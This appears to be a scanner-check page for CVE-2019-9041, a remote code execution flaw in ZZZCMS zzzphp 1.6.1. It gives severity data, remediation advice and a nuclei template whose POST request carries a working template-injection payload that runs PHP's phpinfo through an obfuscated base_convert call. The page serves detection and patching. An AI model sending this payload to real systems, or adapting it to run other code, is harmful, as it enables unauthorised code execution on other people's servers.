ZZZCMS 1.6.1 - Remote Code Execution

highseverity

7.2CVSS score

31.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patch or upgrade to a newer version of ZZZCMS.

How to confirm it

Send: POST /search/
Positive when: status_code_2 == 200 and !contains(body_1, "phpinfo") and contains_all(body_2, "phpinfo","PHP Version")

Run it with nuclei: nuclei -id CVE-2019-9041 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-9041

info:
  name: ZZZCMS 1.6.1 - Remote Code Execution
  author: pikpikcu
  severity: high
  description: ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of ZZZCMS.
  reference:
    - https://www.exploit-db.com/exploits/46454/
    - http://www.iwantacve.cn/index.php/archives/118/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9041
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-9041
    cwe-id: CWE-917
    epss-score: 0.31421
    epss-percentile: 0.98295
    cpe: cpe:2.3:a:zzzcms:zzzphp:1.6.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zzzcms
    product: zzzphp
  tags: cve,cve2019,zzzcms,rce,edb,vuln,vkev

http:
  - raw:
      - |
        POST /search/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /search/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - '!contains(body_1, "phpinfo")'
          - 'contains_all(body_2, "phpinfo","PHP Version")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from